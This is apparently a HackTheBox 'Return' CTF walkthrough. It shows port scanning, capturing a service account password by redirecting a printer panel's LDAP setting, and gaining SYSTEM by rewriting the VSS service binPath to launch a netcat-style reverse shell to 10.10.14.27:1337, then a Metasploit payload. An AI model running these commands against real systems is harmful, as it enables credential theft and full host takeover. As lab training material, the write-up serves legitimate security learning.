Return

Platform: HackTheBox | Difficulty: Easy | OS: Windows Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Return (Windows, attack surface: Microsoft IIS httpd 10.0 (80), Microsoft Windows Kerberos (server time: 2023-12-23 16:35:21Z) (88), Microsoft Windows RPC (135), Simple DNS Plus (53)). Foothold via smb; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC 10.10.11.108 --min-rate 1000 -Pn

Enumeration highlights

• Detected OS: Windows.
• Open services: domain (53), http (47001), http (5985), http (80), kerberos-sec (88), kpasswd5? (464), ldap (3268), ldap (389), mc-nmf (9389), microsoft-ds? (445), msrpc (135), msrpc (49664), msrpc (49665), msrpc (49666), msrpc (49667), msrpc (49671), msrpc (49677), msrpc (49678), msrpc (49681), msrpc (49728), ncacn_http (49676), ncacn_http (593), netbios-ssn (139), tcpwrapped (3269), tcpwrapped (636), unknown (16515), unknown (28911), unknown (30028), unknown (33923), unknown (40939), unknown (47020), unknown (50859), unknown (50956), unknown (58849).
• Scan used: nmap -p- -sV -sC 10.10.11.108 --min-rate 1000 -Pn.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~/Downloads]
└─$ nmap -p- -sV -sC 10.10.11.108 --min-rate 1000 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-23 08:15 PST
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 61.24% done; ETC: 08:16 (0:00:30 remaining)
Nmap scan report for 10.10.11.108
Host is up (0.018s latency).
Not shown: 65501 closed tcp ports (conn-refused)
PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Simple DNS Plus
80/tcp    open     http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-23 16:35:21Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open     mc-nmf        .NET Message Framing
16515/tcp filtered unknown
28911/tcp filtered unknown
30028/tcp filtered unknown
33923/tcp filtered unknown
40939/tcp filtered unknown
47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47020/tcp filtered unknown
49664/tcp open     msrpc         Microsoft Windows RPC
49665/tcp open     msrpc         Microsoft Windows RPC
49666/tcp open     msrpc         Microsoft Windows RPC
49667/tcp open     msrpc         Microsoft Windows RPC
49671/tcp open     msrpc         Microsoft Windows RPC
49676/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49677/tcp open     msrpc         Microsoft Windows RPC
49678/tcp open     msrpc         Microsoft Windows RPC
49681/tcp open     msrpc         Microsoft Windows RPC
49728/tcp open     msrpc         Microsoft Windows RPC
50859/tcp filtered unknown
50956/tcp filtered unknown
58849/tcp filtered unknown
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m33s
| smb2-time: 
|   date: 2023-12-23T16:36:20
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.45 seconds

1. Based from the nmap results, the machine runs a web application hosted with Microsoft IIS httpd 10.0 web server and open public SMB.

2. Noticed port 5985 (WinRM or Windows Remote Management) also opened, this should allows us to use evil-winrm.

3. Few ports also opened and noticed the machine uses LDAP service.

4. To enumerate public smb shares, you can use either smbclient or enum4linux.

5. Anyway, enumerating it using smbclient found no workgroup.

6. It goes the same with enum4linux but it provides another information, which states that the host is part of the RETURN domain.

Usage in enum4linux

enum4linux -a return.htb

1. With this result, we can identified that SMB does not allow guest sessions or NULL.

2. Moving on our attention to the web app and navigating to the settings option. Found out we can see the username but the password is hidden.

3. However, this page disclose an information that svc-printer cred can be seen by watching the request at port 389 (runs LDAP services).

4. We can leak the password by setting a listener to that port and change the server address to our public ip. ANOTHER way to make it clear in case we can't see the leaked password clear, we can run wireshark when clicking the submit button.

RESULT IN WIRESHARK

1. Nice! Let's use evil-winrm.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

NOTE: Create the exe in the same directory as the executed evil-winrm.

1. To upload it to the winrm shell, simply run --> upload exp.exe.

2. Now we need to change the binary path for VSS.

COMMAND

sc.exe config VSS binPath="C:\Users\svc-printer\Downloads\exp.exe -e cmd.exe 10.10.14.27 1337"

1. Great! Set a listener at port 1337, then to trigger it we need to stop the VSS service then start it again.

HOW TO

To stop:
sc.exe stop vss

To start:
sc.exe start vss

1. But somehow we failed to get the shell, I assume our shell is not stable.

2. Hence, I tried to use metasploit's meterpreter, we can use exploit/multi/handler module.

3. We need to set 3 things here:

[+] The payload we want to send.
[+] The localhost ip.
[+] The localport.

1. Then run the module.
2. Great! Now we need to modify the binary path again to this:

sc.exe config VSS binPath="C:\Users\svc-printer\Downloads\exp.exe"

1. Now trigger it again by stop and start the VSS service.

WE GAINED ROOT

1. But again this is still not stable enough!

2. We need to migrate, to check which PID to migrate, simply run PS at the meterpreter terminal.

Running PS

1. As you can see there are many processes which running as NT AUTHORITY\SYSTEM, we just need to migrate to one of them (the appropriate one).

2. For example, I tried to migrate to common process --> svchost.exe.

3. We gained a stable shell for root now!

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerating SMB Services using smbclient and enum4linux.
2. Abusing network printer.
3. Using evil-winrm to login as svc-printer.
4. Enumerating group memberships for user svc-printer.
5. Checking user's privilege in windows.
6. Creating a reverse shell exe using msfvenom.
7. Abusing Active Directory (AD) security groups.
8. Utilizing exploit/multi/handler module in metasploit to get a stable shell.